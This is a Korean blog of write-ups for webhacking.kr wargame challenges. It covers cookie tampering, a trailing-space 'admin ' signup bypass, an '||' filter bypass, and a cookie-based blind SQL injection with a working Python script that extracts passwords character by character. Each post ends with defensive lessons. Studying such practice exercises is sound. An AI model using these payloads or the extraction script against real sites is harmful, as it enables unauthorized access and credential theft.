늘모자란, 개발

늘모자란, 개발


문제가 가면 갈 수록 변태적이게 변하는 기분이 든다.
어쨌든 5번 문제의 화면은 요렇다.

한숨만 나온다.

소스를 보기로 하자.

<html>

<head>
<title>Challenge 5</title>
</head>
<body bgcolor=black>
<center>
<font color=black>
.<p>
.<p>
.<p>
.<p>
.<p>
.<p>
.<p>
</font>
<input type=button value='Login' style=border:0;width:100;background=black;color=green onmouseover=this.focus(); onclick=move('login');>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input type=button value='Join' style=border:0;width:100;background=black;color=blue onmouseover=this.focus(); onclick=no();>

<script>
function no()
{
alert('Access_Denied');
}

function move(page)
{
if(page=='login') { location.href='mem/login.php'; }

}

</script>
</center>
</body>
</html>


일단, join은 누르기만 하면 무조건 no를 출력하게 되어 있는 쓸모없는 버튼이다.
login은 누르면 mem/login.php로 이동되게 되어 있으니 이동해보자.

로그인 화면이 하나 나오긴하는데 아무거나 입력해보면 이렇게 나온다.

admin 이라는 이름의 아이디로 로그인할 수 있다는 것이겠다.
하지만 우린 가진게 없다. 간단한 인젝션을 시도해봤으나 일단은 다 막혀있는 것 같다.
다시 메인으로 돌아가서, 왜 join을 굳이 no로 처리해두었을까?

혹시 mem/join.php가 존재하진 않을까? 빙고.
하지만 화면엔 아무것도 없다.

소스보기를 하면 다음과 같은 소스가 나온다.


<html>
<title>Challenge 5</title></head><body bgcolor=black><center>
<script>
l='a';ll='b';lll='c';llll='d';lllll='e';llllll='f';lllllll='g';llllllll='h';lllllllll='i';llllllllll='j';lllllllllll='k';llllllllllll='l';lllllllllllll='m';llllllllllllll='n';lllllllllllllll='o';llllllllllllllll='p';lllllllllllllllll='q';llllllllllllllllll='r';lllllllllllllllllll='s';llllllllllllllllllll='t';lllllllllllllllllllll='u';llllllllllllllllllllll='v';lllllllllllllllllllllll='w';llllllllllllllllllllllll='x';lllllllllllllllllllllllll='y';llllllllllllllllllllllllll='z';I='1';II='2';III='3';IIII='4';IIIII='5';IIIIII='6';IIIIIII='7';IIIIIIII='8';IIIIIIIII='9';IIIIIIIIII='0';li='.';ii='<';iii='>';lIllIllIllIllIllIllIllIllIllIl=lllllllllllllll+llllllllllll+llll+llllllllllllllllllllllllll+lllllllllllllll+lllllllllllll+ll+lllllllll+lllll;
lIIIIIIIIIIIIIIIIIIl=llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+lll+lllllllllllllll+lllllllllllllll+lllllllllll+lllllllll+lllll;if(eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl)==-1) { bye; }if(eval(llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+'U'+'R'+'L').indexOf(lllllllllllll+lllllllllllllll+llll+lllll+'='+I)==-1){alert('access_denied');history.go(-1);}else{document.write('<font size=2 color=white>Join</font><p>');document.write('.<p>.<p>.<p>.<p>.<p>');document.write('<form method=post action='+llllllllll+lllllllllllllll+lllllllll+llllllllllllll+li+llllllllllllllll+llllllll+llllllllllllllll
+'>');document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name='+lllllllll+llll+' maxlength=5></td></tr>');document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name='+llllllllllllllll+lllllllllllllllllllllll+' maxlength=10></td></tr>');document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');}
</script>
</body>
</html>


난독화된 코드가 반겨준다. 무엇을 의미하나?
deobfuscation를 찾아보자. 나는 firefox addon을 설치해서 돌려봤다.

l = 'a';
ll = 'b';
lll = 'c';
llll = 'd';
lllll = 'e';
llllll = 'f';
lllllll = 'g';
llllllll = 'h';
lllllllll = 'i';
llllllllll = 'j';
lllllllllll = 'k';
llllllllllll = 'l';
lllllllllllll = 'm';
llllllllllllll = 'n';
lllllllllllllll = 'o';
llllllllllllllll = 'p';
lllllllllllllllll = 'q';
llllllllllllllllll = 'r';
lllllllllllllllllll = 's';
llllllllllllllllllll = 't';
lllllllllllllllllllll = 'u';
llllllllllllllllllllll = 'v';
lllllllllllllllllllllll = 'w';
llllllllllllllllllllllll = 'x';
lllllllllllllllllllllllll = 'y';
llllllllllllllllllllllllll = 'z';
I = '1';
II = '2';
III = '3';
IIII = '4';
IIIII = '5';
IIIIII = '6';
IIIIIII = '7';
IIIIIIII = '8';
IIIIIIIII = '9';
IIIIIIIIII = '0';
li = '.';
ii = '<';
iii = '>';
lIllIllIllIllIllIllIllIllIllIl = lllllllllllllll + llllllllllll + llll + llllllllllllllllllllllllll + lllllllllllllll + lllllllllllll + ll + lllllllll + lllll;
lIIIIIIIIIIIIIIIIIIl = llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + lll + lllllllllllllll + lllllllllllllll + lllllllllll + lllllllll + lllll;
if (eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl) == -1) {
  bye;
}
if (eval(llll + lllllllllllllll + lll + lllllllllllllllllllll + lllllllllllll + lllll + llllllllllllll + llllllllllllllllllll + li + 'U' + 'R' + 'L').indexOf(lllllllllllll + lllllllllllllll + llll + lllll + '=' + I) == -1) {
  alert('access_denied');
  history.go(-1);
} else {
  document.write('<font size=2 color=white>Join</font><p>');
  document.write('.<p>.<p>.<p>.<p>.<p>');
  document.write('<form method=post action=' + llllllllll + lllllllllllllll + lllllllll + llllllllllllll + li + llllllllllllllll + llllllll + llllllllllllllll + '>');
  document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=' + lllllllll + llll + ' maxlength=5></td></tr>');
  document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=' + llllllllllllllll + lllllllllllllllllllllll + ' maxlength=10></td></tr>');
  document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');
}


변수들은 설명되어 있는데 사실 브라우저에서 console.log를 찍어보면된다.
수정해서 다시 코드를 보자

lIllIllIllIllIllIllIllIllIllIl = 'o'+ 'l' + 'd' + 'z' + 'o' + 'm' + 'b' + 'i' + 'e';
lIIIIIIIIIIIIIIIIIIl = 'd' + 'o' + 'c' + 'u' + 'm' + 'e' + 'n' + 't' + '.' + 'c' + 'o' + 'o' + 'k' + 'i' + 'e';
if (eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl) == -1) {
  bye;
}

if (eval(document.URL).indexOf(mode=1) == -1) {
  alert('access_denied');
  history.go(-1);
} else {
  document.write('<font size=2 color=white>Join</font><p>');
  document.write('.<p>.<p>.<p>.<p>.<p>');
  document.write('<form method=post action=join.php>');
  document.write('<table border=1><tr><td><font color=gray>id</font></td><td><input type=text name=id maxlength=5></td></tr>');
  document.write('<tr><td><font color=gray>pass</font></td><td><input type=text name=pw + ' maxlength=10></td></tr>');
  document.write('<tr align=center><td colspan=2><input type=submit></td></tr></form></table>');
}



풀어보면, oldzombie라는 이름의 쿠키값이 필요하고, get 파라미터로 mode=1이라고 기재해주면 join.php의 내용을 볼 수 있다.


이제 요녀석으로 admin이라는 이름으로 가입해야하는데.. 쉽게 될까 싶지만 일단 해보자.
이녀석이 반겨준다.

id 'admin' is already exists


admin이라는 이름은 이미 있댄다.
이를 우회하기 위해서 공백을 넣어줘야하는데, id input box는 maxlength 가 5로 설정되어 있어 더 칠수없게 되어 있다.
간단하게 크롬이나 파이어폭스의 개발자도구로 6으로 수정해주고, "admin "이라는 이름으로 가입해준다.

sign up과 함께 회원가입완료.
admin과 함께 패스워드를 적어주면 문제가 해결된다.



결국 감출페이지 이름은 철저하게 감춰야된다. 어중간하게 감추고 스크립트를 난독화한다고 해도 공격의 대상이 될 수 있기 때문이다.
또한, admin + ' ' 같이 trim을 이용한 방법도 정말 어처구니가 없는 공격이다. 회원가입을 받을때는 반드시 trim 검사도 수반되어야 하겠다.

2016/03/08 01:22 2016/03/08 01:22
첨봤을때 완전 밥인줄알고 간단하게 생각했다가 -_-



딱봐도 base64 encoded 된 녀석이다.
풀어보자.

c4033bff94b567a190e33faa551f411caef444f2


무엇일까. 이대로 넣으면 당연히 안된다.
(첨언1. 사실 webhacking.kr 가입할때 base64 를 세번 decode해서 나오는 값을 입력해야 하는데 이걸 문제로 냈을거라고 생각을 안해서..)
(첨언2. 위 코드로 검색하면 너무 많이 나온다. 안볼수가 없다...)

input창의 size덕에 제대로 넘어가지 않나 싶어서 콘솔로 DOM을 조작후 입력해봐도 제대로 되지 않았다.
결국 이녀석을 가지고 놀아야겠다는 결론에 이르렀다.

찾아보니 이런 글이 있었다.
40byte일 경우 sha1으로 암호화 되어있다고 추측 할 수 있다. ( 32byte이면 md5라고 추측 )
글자를 세어보면 40byte. sha1 암호를 풀어주는 사이트를 이용하자.
정말 어이없는 비밀번호와 함께 문제를 해결 할 수 있다.

여기서 배울점이라면 md5와 sha1은 이미 크랙되었다는것이다.
보안에 강한 sha256 이상의 암호화 알고리즘을 사용해야만한다.
2016/03/08 00:23 2016/03/08 00:23
난 퍼즐이 싫다.
그런데 3번은 퍼즐이다. 아..

이런 퍼즐같은걸 본적이 있는 것 같은데 해본적은 없다. 어쨌든 빈칸을 누르면 까맣게 클릭되는 퍼즐이다. 퍼즐을 풀어보자.
스도쿠 비슷한거인것 같은데, 사실 난 이 퍼즐 푸는건 포기했다. 잘 이해가 안되서 찾아봤다...
한줄에 표시되어야 하는 갯수를 나타낸다고 한다.

정답은 이렇다. 퍼즐을 다 풀고 나면 친숙한 폼이 기다려준다.
인젝션 하라고 막 손짓하는것 같다.
아무데이터를 입력해보면 내역이 나온다.


안타깝게도 이 문제를 푸는데 여러 시도를 못해봤다.
' 나 or이나 = 등 다양한 문자열이 제한된다는데 그것만 입력하면 타임아웃이 떨어지는 바람에...
어쨌든 정답은 or을 대체하는 문자인 || 를 폼에 넣어주어 bypass하면된다.
이문제로 배울점은, 단순 blacklist 형 회피도 회피지만, httpentities 처리를 해주어 원천적으로 특수문자에 대한 처리를 해야한다는것이다.
(참고로, mysql_real_escape_string은 %나 _를 변경하지 않는다. 이 점도 참고 하면 좋겠다.)

2016/03/08 00:10 2016/03/08 00:10
2번의 배점은 500점으로 꽤 어려운 문제(?) 라고 할 수 있겠다.
일단 들어가면 아주 황당한데 그 이유는 그림을 보면 쉽게 이해가 된다

진짜 뭐 어쩌라는지 모르겠다.
짜증나는 마음을 뒤로 하고 침착하게 소스보기를 눌러본다.

<html>
<head>
<title>Project Progress</title>
</head>
<body bgcolor=black>
<center>
<table width=970 bgcolor=white>
<td colspan=5>
<img src="img/new_main.jpg" alt="" usemap="#main.jpg" style="border: 0;" />
<map name="main.jpg">
    <area shape="rect" coords="15,8,517,54" href="index.php" target="" alt="" />
    <area shape="rect" coords="339,63,403,93" href="about.php" target="" alt="" />
    <area shape="rect" coords="413,63,490,92" href="member.php" target="" alt="" />
    <area shape="rect" coords="500,63,582,92" href="research.php" target="" alt="" />
    <area shape="rect" coords="592,63,651,92" href="bbs/index.php" target="" alt="" />
    <area shape="rect" coords="662,64,745,93" href="fun.php" target="" alt="" />
    <area shape="rect" coords="756,63,825,93" href="contact.php" target="" alt="" />
    <area shape="rect" coords="851,7,890,65" href="admin/" target="" alt="" />

</map>
<br><center><br>
</td><tr>
</table>

<table bgcolor=white width=976>
<td width=88></td>
<td width=800>
<br>
<center>
<a href=index.php><img src=img/new.jpg border=0></a><br>
<br><br>
<!--2016-03-04 06:25:03--></td>
<td width=88></td>
</table>

<table width=970 bgcolor=black>
<td><br><center><font size=2 color=white>Copyright ⓒ 2008 beistlab. All rights reserved</td>
</table>



왠 주석이 달려있는데 날짜만 맞고 현재시간하고도 완전히 틀린값이다.
그리고 admin이라는 메뉴가 있다.
관리자 메뉴가 노출 되고 있다는 말인데, map을 이용해서 용가리에 클릭하면 넘어갈 수 있게 되어 있다. 궁금하니까 용가리를 클릭해본다.



딱히 안눌러봐도 됐을것 같다.
어쨌든 admin page로 가는 비번을 찾아야 한다.
사이트 내부를 둘러보면 왠만한건 그냥 거의 설명이고 단서는 board에 있다.(고 생각한다)


게시판. 게시판하면 injection아니겠는가.
이제 어떻게 인젝션을 할지 곰곰히 고민을 해본다.
일단 보드의 이름이 FreeB0aRd 라는데 수상해보인다. keep in mind하고 넘어가본다.
소스보기를 해봐도 얘는 딱히 약점이 없다. 그냥 말그대로 폼이다. 1번 문제를 풀어봤으니 일단 raw를 한번 보기로 한다.

GET http://webhacking.kr/challenge/web/web-02/bbs/index.php HTTP/1.1
Host: webhacking.kr
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://webhacking.kr/challenge/web/web-02/research.php
Cookie: time=1457083503; PHPSESSID=
Connection: keep-alive
Cache-Control: max-age=0


옳거니, 쿠키가있는데 타임스탬프다.
변환해보니 아까 위에 쓰여있던 주석과 같은 시간이다. 자바스크립트로 시간을 기록하는것도 없고, 그냥 PHP에서 쓰고 있다.
그렇다면 요 타임스탬프는 서버와 연관이 있는게 아닐까? 쿠키를 조작해볼 시간이다.

Cookie: time=1457083503 or show tables;


request를 변환해서 날려봤더니
주석이 있어야할 자리에 이상한녀석이 껴서 온다.

<a href=index.php><img src=img/new.jpg border=0></a><br>
<br><br>
Access Denied


액세스 디나이가 나온다는 말은 아마 webhacking.kr 의 DB 테이블을 조회못하게 하려고 Access denied가 날아오는 것 같은데, 어쨌든 기재되어 있는 주석은 DB로 부터 불러온다는것으로 짐작할 수 있다. 다양하게 쿼리를 조작해서(1=1 / 1=0 등..) 날려보면 주석이 다음과 같이 바뀐다.

<!--2070-01-01 09:00:00--> // False
<!--2070-01-01 09:00:01--> // True


다만 표시에 제한을 하고 있어서 상세한 데이터를 뽑아낼 수가 없다. True / False만 판별하는 Blind sql injection을 시도해봐야 한다.
아까 이상하게 생각했던 FreeB0aRd 가 테이블이름이란다. 옛날에는 힌트로 빼줬다고 한다.(사실 테이블이름을 알 수가 없어서 찾아봤다)


SPIN OFF - How to get column name? (click)


어쨌든 컬럼(필드)네임은 'password'로 가정해서 진행한다.

다음과 같은 쿼리를 날려본다. 8도해보고, 10도 해보고.
time=1457335419 and (SELECT length(password) from FreeB0aRd) = 10


이렇게 했을때 10에서 True값을 얻을 수 있었다. 비밀번호는 10자리임을 알게 되었다.

아스키코드를 한자리씩 때려넣으면서 1자리씩 비교를 해야하는데, 이건 루프가 어마어마하기때문에 python 코드를 작성해서 true값이 나오는지 비교해본다.
다음의 코드를 참조하자.

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib, urllib2, re

sess = "PHP SESSION"
pw = ""
for i in range(1, 11):
    for j in range(33,126):
        headers = {'Host': 'webhacking.kr',
                   'Cookie': "time=1457335419 and (select ascii(substring(password,{},1)) from FreeB0aRd)={}; PHPSESSID={}".format(i,j,sess)
                  }

        req = urllib2.Request('http://webhacking.kr/challenge/web/web-02/', '', headers)
        response = urllib2.urlopen(req)
        the_page = response.read()

        if re.findall("<!--2070-01-01 09:00:01-->",the_page):
            pw = pw + chr(j)
            break
print pw


이렇게 비밀번호를 얻을 수 있다.
bbs로 돌아가서 비밀번호가 설정된 글을 비밀번호로 접근하면 내용을 읽을 수 있게 된다.


admin manual 은 zip파일이며 내용엔 manual.html이라는 비밀번호가 걸린 파일이 있다.
얘를 풀수가 없다. 다시 비밀번호가 걸려있던 admin 페이지로 이동해보자. 비밀번호 input이 10자리를 받도록 되어있는데 10자리가 맞을까?
사실 테이블을 알 수 없는 상태이기때문에 역시 가정으로 admin이라고 생각해보고, 같은 과정을 거친다.

 time=1457335419 and (SELECT length(password) from admin) = 10;


10자리이다. 위 python 코드를 조금만 수정해 리퀘스트를 날려보자.
비슷한 시간대로 비밀번호를 얻을 수 있다.

획득한 비밀번호를 관리자페이지에 입력하면 패스워드가 나온다.
메뉴얼엔 비밀번호가 적혀있고, auth를 통해 인증해주면 Challenge 2를 완료하게 된다.



위 문제로 배울점은, 우선 테이블명이 쉽게 노출되선 안되며 db 권한조절이 매우 중요하다는 점이다.
쿠키를 인해 injection이 가능하다는 점도 분명히 취약점이지만, 결국 true/ false가 반환되는 문제보다도 blind injection을 시도할 수 있도록 테이블명이 노출되던점이 가장 큰 핵심이었다고 할 수 있겠다.

2016/03/05 15:59 2016/03/05 15:59
webhacking.kr은 제법 오래된 워게임 사이트인데 맨날 해본다 해본다 하고 포기하고 그랬던 것 같다.
전부 다 해낼 수 있을진 모르겠지만 블로그에 쓰면 계기가 생기지 않을까?

첫번째 문제는 이렇게 생겼다.



URL 상에서 index.phps 에 접근하라는 뉘앙스를 강하게 풍기고 있으나 확실하게 하기 위해 소스를 까본다

<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<br>level : 1<br>
<pre>
<a onclick=location.href='index.phps'>----- index.phps -----</a>
</body>
</html>




URL 에 칠 필요도 없이 index.phps 라는 글자를 누르면 이동하게 되 있다. 친절이 극에 달했다

<?
if(!$_COOKIE[user_lv])
{
SetCookie("user_lv","1");
echo("<meta http-equiv=refresh content=0>");
}
?>
<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<?

$password="????";

if(eregi("[^0-9,.]",$_COOKIE[user_lv])) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>=6) $_COOKIE[user_lv]=1;

if($_COOKIE[user_lv]>5) @solve();

echo("<br>level : $_COOKIE[user_lv]");

?>
<br>
<pre>
<a onclick=location.href='index.phps'>----- index.phps -----</a>
</body>
</html>



코드를 쭉 읽어보면, 페이지에 접근할때 설정된 쿠키가 없다면 user_lv 이라는 쿠키를 생성하며 값을 1로 준다.
다음 조건문은 쿠키의 값이 숫자가 아닐경우 무조건 1로 처리한다는것.
이 페이지의 raw response는 다음과 같다

GET http://webhacking.kr/challenge/web/web-01/ HTTP/1.1
Host: webhacking.kr
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://webhacking.kr/index.php?mode=challenge
Cookie: user_lv=1; PHPSESSID=
Connection: keep-alive
Cache-Control: max-age=0



문제의 핵심은 그 이후 if 문들인데, 유저레벨이 6이상이 되면 무조건 레벨을 1로 처리하지만, 5를 초과할 경우에는 통과를 시켜준다는것이다.
코드를 보면 소수점에 대한 처리는 전혀 이뤄지고 있지 않기때문에 쿠키를 조작해 레벨을 5.1로 만들 것이다
cooxie 나 cookie master와 같이 브라우저단에서 쿠키를 조작할 수 있으나, raw 를 까본김에 다음과 같이 조작해 request를 날려보기로 한다

GET http://webhacking.kr/challenge/web/web-01/ HTTP/1.1
Host: webhacking.kr
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://webhacking.kr/index.php?mode=challenge
Cookie: user_lv=5.1; PHPSESSID=
Connection: keep-alive



패스되었다는 결과를 얻을 수 있다.

<html>
<head>
<title>Challenge 1</title>
</head>
<body bgcolor=black>
<center>
<br><br><br><br><br>
<font color=white>
---------------------<br>
<script>alert('Congratulation!');</script><center><h1><br><br><hr><font color=gray>You have cleared the 1 problems.</font><br><br><font color=green><b>Score + 200</b></font><br><hr></h1></center>




위 문제로 배울점은, 쿠키로 레벨을 설정하는 멍청한짓을 하지 말아야 된다는 것이다.
index.phps에서 많은 힌트를 주었으나, 쿠키는 클라이언트에 저장되는 만큼 쉽게 노출되므로 얼마든지 공격의 대상이 될 수 있다.
개발자는 클라이언트마다 세션을 열어서 유저레벨을 서버에서 체크해야만한다.
2016/03/04 21:54 2016/03/04 21:54